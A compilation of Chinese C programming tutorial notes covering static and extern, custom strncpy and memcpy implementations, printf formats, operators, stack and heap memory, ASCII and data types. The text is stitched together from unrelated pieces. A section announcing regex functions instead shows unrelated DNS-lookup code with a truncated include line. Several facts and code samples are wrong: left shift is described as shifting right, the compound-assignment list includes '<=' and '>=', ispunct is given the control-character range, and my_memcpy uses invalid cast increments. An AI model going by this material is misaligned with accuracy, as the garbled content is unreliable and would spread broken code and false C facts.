我们知道了全局变量和函数是可以跨文件的。而函数甚至不用声明就可以使用。那么有没有办法保证你的函数无法直接被其他源文件使用呢？

• static修饰全局变量，表示该变量只能在源文件内部使用。改变了该变量的作用域。但是可以间接使用。
• static修饰函数，表示该函数只能在该源文件内部使用。但是可以嵌套式的间接使用。
• static的特性为C语言提供了封装性的可能。保证了项目的安全性。

/************* test.c文件 ***************/
static int g_val = 100;  //g_val无法被外部文件直接访问。因为static
int show_val() {
	printf("%d\n", g_val); //但是可以通过show函数访问；因为show函数可以被其他源文件访问
}

static void test(){ //被static修饰，无法被外部直接访问
 // do something...
}
void show_test(){
	test(); //但是可以通过嵌套，间接访问
}

• static修饰局部变量，该变量的生命周期

extern

• 在变量前面，表示声明该变量。全局变量声明必须带上extern，否则就可能引起编译器的二义性。不带上无法分辨是定义还是声明。
• 函数可以不带，因为编译器可以分辨出函数的定义和声明，但是为了保持好习惯，建议带上。
  

.不考虑内存重叠的strncpy

网上很多博客也写了这个函数，面试也常常会遇到，但是，我发现网上的很多代码都是有问题的，我们先看下大部分网上博客的实现：

char *strncpy(char *dst, const char *src, size_t len)
{
	assert(dst != NULL && src != NULL);
	char *res = dst;
	while (len--)
	{
		*dst++ = *src++;
	}
	return res;
}

看着好像没啥问题，但是，当src的长度小于len呢？这份代码没有处理这个问题。当src的长度小于len时，应该如何处理？《C和指针》p179给出的答案是：
“ 和strcpy一样，strncpy把源字符串的字符复制到目标数组。然而，它总是正好向dst写入len个字符。如果strlen(src)的值小于len，dst数组就用
额外的NUL字节填充到len长度，如果strlen(src)的值大于或等于len，那么只有len个字符被复制到dst中。”
注意！它的结果将不会以NUL字节结尾。（NUL即‘\0’）.

由此可见，我们还需要判断strlen(src)是否小于len，如果是，还需要在dst后面添加NUL，因此，正确的代码应该如下：

char *strncpy(char *dest, const char *src, size_t len)
{
	assert(dest != NULL && src != NULL);
	char *res = dest;
	int offset = 0;
	if (strlen(src) < len)//src长度小于len
	{
		offset = len - strlen(src);
		len = strlen(src);
	}

	while (len--)
	{
		*dest++ = *src++;
	}
	while (offset--)
	{
		*dest++ = '\0';
	}
	return res;
}

使用这个函数，尤其需要注意，不要出现len>strlen(dst)的情况，如果len>strlen(dst)，那么会破坏dst后面的内存：
我们假设前面红色部分是dst，然后strncpy(dst,src,10);那么后面黄色部分的内存就被破坏了。strncpy是不负责检测len是否大于dst长度的。

总的来说，strncpy总是复制len个字符到dst指向的内存！！！

所以，还会出现下面的情况

char message[] = "abcd";
strncpy(message, "abcde",5);
cout << message;

输出是abcde烫烫烫烫烫烫烫烫烫烫烫烫烫烫 (结果不唯一)

message的内存是有5个字节的，但是将abcde拷贝过去时，最后面的‘\0’被覆盖了，strncpy并不会负责添加‘\0’到dst结尾，因此，输出该字符串是，会在e字符后面一直找到‘\0’才结束，因此就会出现乱码。

2.考虑内存重叠的strncpy

面试中经常会遇到让你写一个能够处理内存重叠的strncpy，标准库中的strncpy是不考虑内存重叠的，如果出现内存重叠，结果将是未定义的。
网上的很多博客也有这个代码的实现，其实很多也是有问题的，没有考虑src长度小于len的问题：

char *strncpy(char *dst, const char *src, size_t len)
{
	assert(dst != NULL && src != NULL);
	char *res = dst;
	if (dst >= src && dst <= src + len - 1)//重叠,从后向前复制
	{
		dst = dst + len - 1;
		src = src + len - 1;
		while (len--)
			*dst-- = *src--;
	}
	else
	{
		while (len--)
			*dst++ = *src++;
	}
	return res;
}

那么，如果要处理内存重叠，该怎么办？如果内存重叠和src的长度小于len这两种情况同时出现，又如何处理？
见图，假设红色部分为src，黄色为dst。如果出现内存重叠，我们很容易想到：从后往前拷贝。如果src的长度小于len，则在后面补NUL。

char *strncpy(char *dst, const char *src, size_t len)
{
	assert(dst != NULL && src != NULL);
	char *res = dst;
	int offset = 0;
	char *tmp;
	if (strlen(src) < len)//src长度小于len
	{
		offset = len - strlen(src);
		len = strlen(src);
	}

	if (dst >= src && dst <= src + len - 1)//重叠,从后向前复制
	{
		dst = dst + len - 1;
		src = src + len - 1;
		tmp = dst;
		while (len--)
			*dst-- = *src--;
	}
	else
	{
		while (len--)
			*dst++ = *src++;
		tmp = dst;
	}
	while (offset--)
	{
		*tmp++ = '\0';
	}
	return res;
}

那么，如果len的值大于dst的值，就会破坏dst后面的内存空间，这应该是要避免的。

最后，我们看一个有意思的东西：(此处strncpy是考虑内存重叠的版本)

message的长度增加了0.0 当然 ，它后面的内存被破坏了，这可能带来严重的后果。
最后，使用strncpy时，最好自动添加‘\0’在结尾。

一、基本概念

1、定义：

printf() 是 C 语言标准库函数，用于将格式化后的字符串输出到标准输出。标准输出，即标准输出文件，对应终端的屏幕。使用 printf() 时 要加头文件 stdio.h。

2、函数原型：

int printf ( const char * format, ... );

3、返回值：

正确返回输出的字符总数，错误返回负值。与此同时，输入输出流错误标志将被置值，可由指示器函数 ferror(FILE *stream) 来检查输入输出流的错误标志，如果 ferror() 返回一个非零值，表示出错。

4、调用格式：

printf("格式化字符串", 输出表列)

5、格式化字符串包含三种对象，分别为：

1）字符串常量；
2）格式控制字符串；
3）转义字符。

字符串常量原样输出，在显示中起提示作用。输出表列中给出了各个输出项，要求格式控制字符串和各输出项在数量和类型上应该一一对应。其中格式控制字符串是以 % 开头的字符串，在 % 后面跟有各种格式控制符，以说明输出数据的类型、宽度、精度等。

二、格式控制字符串

1、printf() 的格式控制字符串组成如下：

%[flags][width][.prec][length]type

分别为：

%[标志][最小宽度][.精度][类型长度]类型。

2、类型（type）

3、标志
flags 规定输出样式，取值和含义如下：

type是a、A、e、E、f、g、G时，一定使用小数点。默认的，如果使用.0控制不输出小数部分，则不输出小数点。

type是g、G时，尾部的0保留。数字零将输出的前面补上0，直到占满指定列宽为止（不可以搭配使用“-”）。

示例：

printf("%5d\n",1000);     //默认右对齐,左边补空格
printf("%-5d\n",1000);     //左对齐,右边补空格

printf("%+d %+d\n",1000,-1000);  //输出正负号

printf("% d % d\n",1000,-1000);  //正号用空格替代，负号输出

printf("%x %#x\n",1000,1000);  //输出0x

printf("%.0f %#.0f\n",1000.0,1000.0)//当小数点后不输出值时依然输出小数点

printf("%g %#g\n",1000.0,1000.0); //保留小数点后后的0

printf("%05d\n",1000);    //前面补0

输出结果为：

4、最小宽度

用十进制整数来表示输出的最少位数。若实际位数多于指定的宽度，则按实际位数输出，若实际位数少于定义的宽度则补以空格或0。width的可能取值如下：

5、精度
精度格式符以“.”开头，后跟十进制整数。可取值如下：

1)对于整型（d,i,o,u,x,X）,precision表示输出的最小的数字个数，不足补前导零，超过不截断。
2)对于浮点型（a, A, e, E, f ），precision表示小数点后数值位数，默认为六位，不足补后置0，超过则截断。
3)对于类型说明符g或G，表示可输出的最大有效数字。
4)对于字符串（s），precision表示最大可输出字符数，不足正常输出，超过则截断。
precision不显示指定，则默认为0。以星号代替数值，类似于width中的*，在输出参数列表中指定精度。

示例：

printf("%.8d\n",1000);   //不足指定宽度补前导0，效果等同于%08d
printf("%.8f\n",1000.123456789);//超过精度，截断
printf("%.8f\n",1000.123456); //不足精度，补后置0
printf("%.8g\n",1000.123456); //最大有效数字为8位
printf("%.8s\n",“abcdefghij”); //超过指定长度截断

输出结果：

00001000
1000.12345679
1000.12345600
1000.1235
abcdefgh

注意： 在对浮点数和整数截断时，存在四舍五入。

C语言中使用正则表达式一般分为三步:

1. 编译正则表达式 regcomp()
2. 匹配正则表达式 regexec()
3. 释放正则表达式 regfree()

下边是对三个函数的详细解释：

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <
#include <netdb.h>

#define SERVER_PORT    80
#define SERVER_DOMAIN_NAME    "api.help.bj.cn"

void sys_err(const char *str)
{
    perror(str);
    exit(1);
}

int main(int argc, char *argv[])
{
    struct hostent *host_info;

    host_info = gethostbyname(SERVER_DOMAIN_NAME);
    if(host_info == NULL){
        sys_err("hostInfo is NULL\r\n");
        return -1;
    }

     printf("host name:%s\r\n", host_info->h_name);
    //  printf("alias list:%s\r\n", host_info->h_aliases);
    // printf("type:%d\r\n", host_info->h_addrtype);
    // printf("length:%d\r\n", host_info->h_length);
    // printf("address list:%s\r\n",host_info->h_addr_list);

    // close(sfd);
    
    return 0;
}

前言：

当我们学习完了标识符，常量和变量以后，这一章再学习完运算符及表达式，就基本把C语言中的“单词”这块完成了。

运算符分类：

算术运算符（+、-、*、/、%、++、--）

赋值运算符（=、复合赋值运算符）

关系运算符（>、<、==、>=、<=、!=）

逻辑运算符（!、&&、||）

条件运算符（？ ：）

逗号运算符（，）

移位运算符（<<、>>）

位运算符（~、|、^、&）

指针运算符（*，&）

求字节运算符（sizeof）

强制类型转换运算符（（类型））

分量运算符（.、->）

下标运算符（【】）

其他

1，按照运算符在表达式中与链接运算对象的个数可分为：

（1）单目运算符

（2）双目运算符

（3）三目运算符

（4）其他

2，运算符的优先级：

优先级指一个表达式中不同运算符进行操作的先后顺序。通常所以单目运算符的优先级高于双目运算符

3，运算符的结合性：

结合性是指表达式中各种运算符优先级相同时，由运算符的结合性来确定表达式的运算顺序。

第一类：右结合性（运算符的结合性从右向左）单目，三目和赋值运算符

第二类：左结合性（运算符的结合性从左向右）以上都是

算术运算符

运算符号	操作数数目	名称	运算规则	举例
+	单目	正	取原值	+5
-	单目	负	取负值	-5
+	双目	加	加法	a+b
-	双目	减	减法	a-b
*	双目	乘	乘法	a*b
/	双目	除	除法	a/b
%	双目	模	求余数	5%7
++	单目	自增	自增1	a++
--	单目	自减	自减1	a--

1，基本运算符算数时注意：

（1）除法运算：两个操作数都是整数时，结果为整数，小数部分省去；如果都是实数，则结果为实数

（2）取余运算：两个操作数必须为整数，其结果也为整数

2，自增、自减运算符：自增(++)和自减(--)运算是单日运算,其作用是使变量的值增1或减1,其优先致高于所有的双目运算。自增和自减运算的应用形式有两种

（1）前缀形式：运算符在变量前面，表示对变量先自动加1或自动减1，然后再参与其他运算，即先改变变量的值后使用，如++k和--k。

（2）后缀形式：运算符在变量后面，表示变量先参与其他运算，再对变量先自动加1或自动减1，即先使用后改变，如k++和k--。

 赋值运算符

 赋值运算符用“=”表示，它的作用是将一个数据赋给一个变量。例如：a=3的作用是把常量3赋给变量a。也可以将一个表达式赋给一个变量，例如a=x%b的作用是将表达式x%b的值赋给变量a。

赋值运算符用“=”是一个双目运算符，其结合性是从右向左。

符合的赋值运算符

定义：赋值运算符“=”和5种算术运算符（+、-、*、/、%）和5种位运算符（<、>、&、^、|）构成10种复合的赋值运算符。分别为：+=、-=、*=、/=、&=、<=、>=、&=、^=、|=。

例如：a+=3           等价于        a=a+3

           a*=a+3       等价于       a=a*(a+3)

 关系运算符

运算符	作用
>	大于
<	小于
>=	大于等于
<=	小于等于
==	等于
!=	不等于

1、关系运算符都是双目运算符，结合方向是自左向右。其中（>、<、<=、>=）优先关系相同，（==、!=）优先关系相同。

2，用关系运算符将两个任意类型的表达式连接起来的式子,称为关系表达式。它的结果是逻辑值0或1

（1）当两个运算对象之间满足给定的关系时，则表达式取真值1，否则，取假值0。
         例如:

         int a=12，b=14;     则表达式a<b的运算结果为真值1, a==b的结果为假值0。

（2）两个运算对象可以是算术表达式。如果是字符数据时，按其ASCI码值进行比较。

         例如: 'a'>‘b’的运算结果为假值0。

（3）关系表达式的值可以作为整数值参与运算。

         例如

         int = 10, b = 9, c=1,f;         

         f=a>b>c;           则f=0

         其中,关系运算符>的优先级高于赋值运算符=，而关系运算符是自左至右的结合方向,
        所以先执行a>b,结果为1,再执行1>c,结果为0,最后将0值赋给f。

 逻辑运算符

语言中的逻辑运算符是对两个关系表达式或者逻辑值进行比较的。

逻辑运算符共有三种：逻辑与&&、逻辑或||和逻辑非!

其中逻辑与和逻辑或是双目运算符，结合方向是自左至右，且逻辑与&&的优先级高于逻辑或||。逻辑非！是单目运算符，结合方向是自右自左。由于单目运算符的优先级高于双且运算符,所以它的优先级高于逻辑与和逻辑或。

a	b	a&&b	a||b	!a
真	真	真	真	假
真	假	假	真	假
假	真	假	真	真
假	假	假	假	真

 条件运算符

条件运算符由“？”和“：”组成，它的一般格式为

   表达式1？表达式2：表达式3

其解释为：首先计算表达式1，如果表达式1的值为真，则求解表达式2，以表达式2的值作为整个条件表达式的值；如果表达式1的值为假，则求解表达式3，以表达式3的值作为整个条件表达式的值。

它是C语言中唯一一个三目运算符，它的结合方向为自右向左。

例如：int  x=1,y=2,z;

          z=x>y?++x:y++;

运行结果为：x=1,y=3,z=2

 逗号运算符

“，”是C语言的一种特殊的运算符，称为逗号运算符。用逗号将多个表达式连接起来的式子称为逗号表达式。

逗号表达式的一般形式：表达式1，表达式2，···， 表达式n

逗号表达式的求解过程：从左至右地计算各个表达式的值，先求解表达式1，再求解表达式2 最后求解表达式n，整个逗号表达式的值为表达式n的值。

例如：求逗号表达式"a=5,a*=a，a+5"的值。

先求赋值表达式a=5的值，表达式的值为5， a的值为5；接着求复合赋值运算a*=a的值，表达式的值为25， a的值为25，最后求算术表达式a+5的值，表达式的值为30， a的值为25。因此,整个逗号表达式的值为30。

 移位运算符

移位运算符分为两类：左移运算符（<<）和右移运算符（>>）

左移运算符：

将一个二进制数按指定移动的位数向右移动。

移位规则：左边抛弃，右边补0

右移运算符：

将一个二进制数按指定移动的位数向右移动。

移位规则：最高位是0，左边补齐0；最高为是1，左边补齐1。

注：内存中存放的数据是二进制的补码

       原码：根据数值直接写出的二进制码

       反码：原码的符号位不变，其他位取反

       补码：反码+1

       （正整数的原码，反码和补码相同，）

举例：int num+10;

           num>>1;

           num<<1;

 位运算符

&    按位与

|     按位或

^    按位异或

注：对它们的二进制数进行操作，他们的操作数必须是整数。

举例：int num1 = 1;

           int num2 = 2;

          num1 & num2; num1 | num2; num1 ^ num2; 

 求字节运算符

sizeof是求变量（类型）所占空间的大小。很简单，直接通过举例即可理解

例：int a = -10;

       printf("%d\n", sizeof(a)); 

    其结果为4，因为int类型在空间中占4个字节

内存函数

在 C 语言中，当一个程序被加载到内存中运行，系统会为该程序分配一块独立的内存空间，并且这块内存空间又可以再被细分为很多区域，比如：栈区、堆区、静态区、全局区等

栈区：保存局部变量。存储在栈区的变量，在函数执行结束后，会被系统自动释放。

堆区：由 malloc、calloc、realloc……等函数分配内存。其生命周期由 free 函数控制，在没有被释放之前一直存在，直到程序运行结束。

栈内存

定义在函数内部的局部变量，都保存在栈区。栈区的特点是：函数执行结束后，由系统 “自动回收”局部变量所对应的内存空间。所谓的“自动回收”其实是操作系统将这块栈内存又分配给其他函数中的局部变量使用。

当定义局部变量时，系统会在栈区为其分配一块内存空间，当函数执行结束后系统负责回收这块内存，又分配给其他局部变量使用。

以下代码执行后，会发现输出的a，b变量内存地址是一样的。可以说明局部变量对应的内存在函数执行结束后，会被系统回收分配给其他函数中的局部变量使用。因此，在C语言中，不能将局部变量的地址作为函数返回值返回，否则可能出现问题

#include<stdio.h>

void showA()
{
	int a;
	printf("&a=%p\n",&a);
}

void showB()
{
	int b;
	printf("&b=%p\n",&b);
}

int main(void)
{
	showA();
	showB(); 
	getchar();
	return 0;
}

栈内存：

(1) 由系统自动分配、释放。如：函数形参、局部变量。

(2) 栈内存比较小，在 VS2012 中，栈内存默认最大为 1M，如果局部变量占用的栈内存过大，会发生栈溢出。

#include<stdio.h>
int main(void)
{
int a[9900000];//会产生StackOverflow
getchar();
return 0;
}

堆内存

使用 malloc 系列函数分配的内存都属于堆区，使用完后调用 free 函数进行释放，否则可能会造成内存泄漏（即这块内存无法被再次使用）。

malloc 函数
函数原型： void *malloc(int size);

头文件： #include <stdlib.h>

参数列表： size：分配多少个字节。

功能： 申请指定大小的堆内存。

返回值：如果分配成功则返回指向被分配内存的指针，否则返回空指针 NULL。

void *表示“不确定指向类型”的指针，使用前必须进行强制类型转化，将 void*转化为“确定指向类型”的指针。

free 函数

函数原型： void free(void* ptr);

头文件： #include <stdlib.h>

参数列表： ptr：指向要被释放的堆内存。

功能： 释放 ptr 指向的内存空间。

在C语言中，被 free 之后的堆内存，将会被操作系统回收再分配，不建议继续使用， 否则输出的结果将难以预料。

#include<stdio.h>
#include<stdlib.h>

int main(void)
{
	int *p = (int *)malloc(sizeof(int));//void *类型的返回值必须进行强制类型转化
	*p = 200;
	printf("%p, %d\n", p, *p);//输出指针p所指向的内存地址，输出此内存地址中的值
	free(p);
	getchar();
	return 0;
}

堆内存

(1)由程序员自己申请、释放。如果没有释放，可能会发生内存泄露，直到程序结束后由系统释放。

(2)堆内存比较大，可以分配超过 1G 的内存空间。

函数返回数据的两种方式

1. 在被调函数中使用 malloc 分配内存，在主调函数中 free 释放内存。

#include<stdio.h>
#include<stdlib.h>

int* getMemory()
{
    int* p_int=(int*)malloc(sizeof(int));//被调函数分配使用内存
    *p_int=100;
    return p_int;
}

int main(void)
{
    int* p=getMemory();
    printf("%d\n",*p);
    free(p); //主调函数释放内存
    getchar();
    return 0;
}

分配内存与释放内存是分开的，容易导致程序员忘记在主调函数中释放内存，从而导致内存泄漏，

2.在主调函数中分配堆内存，在被调函数中使用堆内存，最后又在主调函数中释放堆内存。

#include<stdio.h>
#include<stdlib.h>

void fun(int *p_int)
{
	*p_int=100;
}

int main(void)
{
    int* p=(int*)malloc(sizeof(int)); //主调函数分配堆内存
    fun(p);
    printf("%d",*p);
    free(p); //主调函数释放堆内存
    getchar();
    return 0;
}

此方法较为推荐

使用 malloc 函数分配的堆内存，系统不会初始化内存，分配的内存中还会残留旧数据。因此，引用未初始化的堆内存，输出的数据也将是未知的。

#include<stdio.h>
#include<stdlib.h>

int main(void)
{
int *p_int=(int*)malloc(sizeof(int));
printf("%d",*p_int);//输出随机未知数据
getchar();
return 0;
}

为了避免引用堆内存中的未知数据，一般使用 malloc 在堆区分配内存后，需要将这块堆内存初始化为0

memset

函数原型：void* memset(void *dest, int c, size_t size);
头文件： #include <string.h>
参数列表： dest：被初始化的目标内存区域。 c：要设置的字符。 size：初始化 size 个字节。
功能： 将 dest 指向的内存空间前 size 个字节初始化为 c。 返回值： dest的内存地址。

#include<stdio.h>
#include<string.h>

int main(void)
{
	char arr[10] = {0};
    //会把arr的前5个字节的元素设置为@
	memset(arr, '@',5);
	getchar();
	return 0;
}

memcpy

函数原型：void* memcpy(void* destination, const void* source, size_t num);

memcpy函数会从source指针的位置向后复制num个字节的数据到destination指针指向的内存的位置中
但是source和destination的num个字节的数据在内存中不能有重叠，否则复制的结果是未知的
memcpy可以复制任意类型的数据

#include<stdio.h>
#include<string.h>
 
struct S
{
	int age;
	char name[5];
};

int main(void)
{
	struct S arr1[] = {{18,"abc"}, {22, "456"}};
	struct S arr2[3] = {0};
    //从内存中可以看到，arr1的数据已经拷贝到arr2中
	memcpy(arr2, arr1, sizeof(arr1));
	getchar();
	return 0;
}

简单实现my_memcpy

void* my_memcpy(void* dest, void* source, size_t num)
{
    assert(dest && source);
	void* res = dest;
	while(num--){
		*(char*)dest = *(char*)source;
		++(char*)dest;
		++(char*)source;
	}
	return res;
}

memmove

函数原型：void* memmove(void* destination, const void* source, size_t num);

memmove函数会从source指针的位置向后复制num个字节的数据到destination指针指向的内存的位置中
但是source和destination的num个字节的数据在内存中可以有重叠

memcmp

函数原型：int memcmp(void* ptr1, void* prt2, size_t num);

比较从ptr1指针以及ptr2指针开始的num个字节的数据的大小

#include<stdio.h>
#include<string.h>

int main(void)
{
	int res = 0;
	char arr1[] = {1,2,3,4,5};
	char arr2[] = {1,2,4,5,5};
    //比较
	res = memcmp(arr2, arr1,3);
	printf("%d", res);
	getchar();
	return 0;
}

在实际开发中，程序员很少用单个字符来表示一个完整的数据，字符的意义主要作为数组的时候可以形成一个字符串。在本章节中，我们更关心字符与整数之间的关系和ASCII码的相关知识。

字符类型char，只能用单引号' '来包围，不能用双引号" "包围。而字符串只能用双引号" "包围，不能用单引号' '包围。

输出字符使用 %c，输出字符串使用 %s。

ASCII码表

ASCII（American Standard Code for Information Interchange，美国信息交换标准代码）是基于拉丁字母的电脑编码系统，用于显示现代英语和其他西欧语言，它是现今最通用的单字节编码系统。

ASCII码规范于1967年第一次发布，它包含了33个控制字符（具有某些特殊功能但是无法显示的字符）和95个可显示字符。

1、ASCII 控制字符 （字符编码: 0-31）

在ASCII码表中，前32个字符是不能用于显示的编码，而是用于控制外围设备。

2、ASCII 可打印字符 （字符编码: 32-127）

32～126（共95个）是字符：32是空格，其中48～57为0到9十个阿拉伯数字，65～90为26个大写英文字母，97～122号为26个小写英文字母，其余为一些标点符号、运算符号等。第127个字符表示的是键盘上的删除命令。

3、转义字符

对于 ASCII 编码，0~31（十进制）范围内的字符为控制字符，它们都是看不见的，不能在显示器上显示，甚至无法从键盘输入，只能用转义字符的形式来表示。

不过，直接使用 ASCII 码记忆不方便，也不容易理解，所以，针对常用的控制字符，C语言又定义了简写方式，完整的列表如下：

\n是最常用的转义字符，表示换行，让文本从下一行的开头输出，前面的章节中已经多次使用。

\r\n用于windows平台DOS格式文件的换行。

单引号、双引号、反斜杠是特殊的字符，不能直接表示。

单引号是字符类型的开头和结尾，要使用\'表示。

双引号是字符串的开头和结尾，要使用\"表示。

反斜杠是转义字符的开头，要使用\\表示。

示例（book68.c）

运行结果

字符就是整数

字符和整数没有本质的区别。可以给 char 变量一个字符，也可以给它一个整数；反过来，可以给 int 变量一个整数，也可以给它一个字符。

char 变量在内存中存储的是字符对应的 ASCII 码值。如果以 %c 输出，会根据 ASCII 码表转换成对应的字符，如果以 %d 输出，那么还是整数。

int 变量在内存中存储的是整数本身，如果以 %c 输出时，也会根据 ASCII 码表转换成对应的字符。

也就是说，ASCII 码表将整数和字符关联起来了。

char类型占内存一个字节，signed char取值范围是-128-127，unsigned char取值范围是0-255。

描述再准确一些，在char的取值范围内（0-255），字符和整数没有本质区别。

示例（book67.c）

运行结果

在ASCII码表中，E、F、G、H 的值分别是 69、70、71、72。

常用的库函数

以下是常用的字符函数，必须掌握。

int isalpha(int ch);  若ch是字母（'A'-'Z','a'-'z'）返回非0值，否则返回0。

int isalnum(int ch);  若ch是字母（'A'-'Z','a'-'z'）或数字（'0'-'9'），返回非0值,否则返回0。

int isdigit(int ch);   若ch是数字（'0'-'9'）返回非0值，否则返回0。

int islower(int ch);  若ch是小写字母（'a'-'z'）返回非0值，否则返回0。

int isupper(int ch);  若ch是大写字母（'A'-'Z'）返回非0值，否则返回0。

int tolower(int ch);  若ch是大写字母（'A'-'Z'）返回相应的小写字母（'a'-'z'）。

int toupper(int ch);  若ch是小写字母（'a'-'z'）返回相应的大写字母（'A'-'Z'）

以下是不常用的字符函数，极少使用，了解即可。

int isascii(int ch);  若ch是字符（ASCII码中的0-127）返回非0值，否则返回0。

int iscntrl(int ch);  若ch是作废字符（0x7F）或普通控制字符（0x00-0x1F），返回非0值，否则返回0。

int isprint(int ch);  若ch是可打印字符（含空格）（0x20-0x7E）返回非0值，否则返回0。

int ispunct(int ch);  若ch是标点字符（0x00-0x1F）返回非0值，否则返回0。

int isspace(int ch);  若ch是空格（' '），水平制表符（'/t'）,回车符（'/r'），走纸换行（'/f'），垂直制表符（'/v'），换行符（'/n'），返回非0值，否则返回0。

int isxdigit(int ch); 若ch是16进制数（'0'-'9','A'-'F','a'-'f'）返回非0值，否则返回0。

课后作业

1、研究ascii码表，重点关心几个问题：

1）字母'A'-'Z'、'a'-'z'和数字'0'-'9'的ascii码值是不是连续的？

2）字母'A'和'a'、'Z'和'z'的ascii码值的差是多少？

2、根据上面的研究结果，自己编写函数，实现字符操作常用的库函数的功能，函数的声明如下：

int ISALPHA(int ch);    // 若ch是字母（'A'-'Z','a'-'z'）返回非0值，否则返回0。

int ISALNUM(int ch);   // 若ch是字母（'A'-'Z','a'-'z'）或数字（'0'-'9'），返回非0值,否则返回0。

int ISDIGIT(int ch);     // 若ch是数字（'0'-'9'）返回非0值，否则返回0。

int ISLOWER(int ch);   // 若ch是小写字母（'a'-'z'）返回非0值，否则返回0。

int ISUPPER(int ch);    // 若ch是大写字母（'A'-'Z'）返回非0值，否则返回0。

int TOLOWER(int ch);  // 若ch是大写字母（'A'-'Z'）返回相应的小写字母（'a'-'z'）。

int TOUPPER(int ch);   // 若ch是小写字母（'a'-'z'）返回相应的大写字母（'A'-'Z'）

3、自定义一个函数，函数名是ctoi，利用ASCII码的运算，把字符的'0'、'1'、'2'、'3'、'4'、'5'、'6'、'7'、'8'、'9'转换为整数的0、1、2、3、4、5、6、7、8、9。函数的声明如下：

int ctoi(const char chr);

chr为用字符方式表示的数字，函数的返回值为数字的整数。

提示：不允许用if和switch语句，只能用ASCII码运算。

调用示例：

printf("'0' is %d\n",ctoi('0'));    // 输出结果是'0' is 0

printf("'9' is %d\n",ctoi('9'));    // 输出结果是'9' is 9

4、编写示例程序，测试char和unsigned char赋值超过取值范围的后果。

数据类型

Day1

0、

计算机只是一个工具，计算的工具，通过计算来帮我们解决问题

计算机保存问题中数据？

先保存问题的抽象数据，然后再对抽象数据进行某一种运算

运算后就能得到一个结果，数据应该怎么去保存？

数据有什么属性：

大小

整数/小数

....

这些属性我们就是通过数据类型来体现。

1、C语言的数据类型

有四大数据类型：

(1)基本数据类型

C语言已经帮我们定义好了，我们就能直接拿过来使用

整型数据：用来保存整数

short [int] //短整型

int //整型

long [int] //长整型

long long [int] //长长整型

为什么非要分这么多类？

表示的数据大小范围不一样

1字节 = 8bit

short “一般”来讲 占2字节

int “一般”来讲 占4字节

long “一般”来讲 占4字节

long long “一般”来讲 占8字节

“一般” 是指不一定就是这么多，和所用使用的机器有关

“一般” 是指32位机器下

如果记不住怎么办？

提供了一个关键字 ---> sizeof 求一个对象的所占字节数

unsigned / signed

表示 无符号 / 有符号(默认有符号)

0 1 代表高低电平

无符号：所有的bit位都是数据位

有符号：最高bit位代表是符号，其余位是数据位

0代表是正数，1代表的是负数

unsigned short 无符号短整型

(signed) short 有符号短整型

unsigned int 无符号整型

(signed) int 有符号整型

unsigned long 无符号长整型

(signed) long 有符号长整型

unsigned long long 无符号长长整型

(signed) long long 有符号长长整型

字符型：用来保存字符的

char: 在任何机器上面都是1字节，8bit

unsigned char / signed char

浮点型(实型)：用来保存小数

单精度浮点型：

float 占4字节

双精度浮点型：

double 占8字节

long double 占16字节(64位)

格式说明 由“%” + 格式符号

d --> 整型

ld --> 长整型

o --> 8进制

u --> 无符号整型

c --> 字符(单)

s --> 字符串

f --> 实数

(2)构造类型： 需要我们自己去定义

数组：

数据类型 数组名[数组元素个数]

结构体

共用体

枚举

(3)指针类型

(4)空类型 void

void 在C语言有三个地方会用

1、void func()

{

}

作为函数的返回值

2、int main(void)

{

}

作为函数参数，代表函数不需要参数，可省略

3、void *

通用指针类型

C语言中 数据 按照是否可以被修改(是否可写)分为两种：

不可修改： 常量

可被修改： 变量

2、常量

在程序在运行的过程中，不可以改变它的值。

常量也分为多类：

(1)整型的常量

在代码中的一个体现 由一串数字组成(整数)

以0开头的，默认就是八进制： 0[0-7][0-7].....

0123

0145

0789 //不是一个8进制

以0x/0X开头的，默认位十六进制：0x[0-9a-f][0-9a-f]...

0xa

0xf

0x12

...

其他的就是十进制

123 没有后缀，默认int

123l 有后缀l，就是long

为什么没有二进制？

二进制写起来太长了,其次就是转换起来简单

0 1 2 3

01 010 011

01 111 111 101

01 7 7 5

0x 1 2 3

0001 0010 0011

0110 1100 1101 1111

转换成 八进制、十进制、十六进制

八进制：066337

十进制：6 * 8^4 + 6 * 8^3 + 3 * 8^2 + 3 * 8 + 7 = 27871

十六进制：0x6cdf

(2)字符常量：

在C语言中用''引起来的一个或者多个字符序列

如 'a'、'3'

在计算机中保存的时候，不是字面上形状的保存

而是保存了对应字符的 ascii 码

ascii 码：把一个字符对应一个数字，该数字我们称为该字符的ascii码

Oct Dec Hex Char Oct Dec Hex Char

────────────────────────────────────────────────────────────────────────

000 0 00 NUL '\0' (null character) 100 64 40 @

001 1 01 SOH (start of heading) 101 65 41 A

002 2 02 STX (start of text) 102 66 42 B

003 3 03 ETX (end of text) 103 67 43 C

004 4 04 EOT (end of transmission) 104 68 44 D

005 5 05 ENQ (enquiry) 105 69 45 E

006 6 06 ACK (acknowledge) 106 70 46 F

007 7 07 BEL '\a' (bell) 107 71 47 G

010 8 08 BS '\b' (backspace) 110 72 48 H

011 9 09 HT '\t' (horizontal tab) 111 73 49 I

012 10 0A LF '\n' (new line) 112 74 4A J

101 65 41 A

141 97 61 a

060 48 30 0

字符：分为两种

普通字符：在打印的时候是可以显示形状的字符

printf("%c\n",'A');

转义字符：打印的时候没有形状，但是有特殊的含义

'\t' --> 制表符(tab)

'\n' --> 换行

'\0' --> 字符串结束符，空字符

'\***':由'\'后面接一个、两个或者三个八进制数组成

这些八进制的数字用来指定一个所期望的字符

'\107' --> 'G'

'\x**':由'\x'后面接一个或者两个十六进制数组成

这些十六进制的数字用来指定一个所期望的字符

'\x41' --> 'A'

(3)浮点常量

后缀可以是 f/F l/L

f/F --> float

l/L --> long double

如果没有后缀，默认它是double

C语言中小数默认都是double

1.23f --> float

1.23 --> double

0.12 .12 整数部分为0可以省略

12.0 12. 小数部分为0可以省略

科学计数法：

由整数部分，小数点，小数部分，一个e/E，一个可选带符号的整型

1234.5678 --> 1.2345678 * 10^3 --> 1.2345678e3

0.001234 --> 1.234 * 10^-3 --> 1.234E-3

(4)枚举常量(后面解释)

(5)符号常量

#define N 3.14

如果使用N，自动替换成 3.14

为了修改方便，并且不会改变其他的实际需要用的数值

Day2

一、变量

定义：在程序运行期间，它的值可以被改变，被修改。

变量会对应一个可写可读的内存单元。

内存单元由变量的类型来决定。

定义格式：

数据类型 变量名（=变量的初始值）

Int b=5；定义时才叫初始化。

二、c语言标识符

定义：只能由数字，字母，下划线组成，不能由数字开头

不支持如%，*，&  不能使用c语言内部标识符

三、变量属性

1.数据类型：任意C语言的数据类型

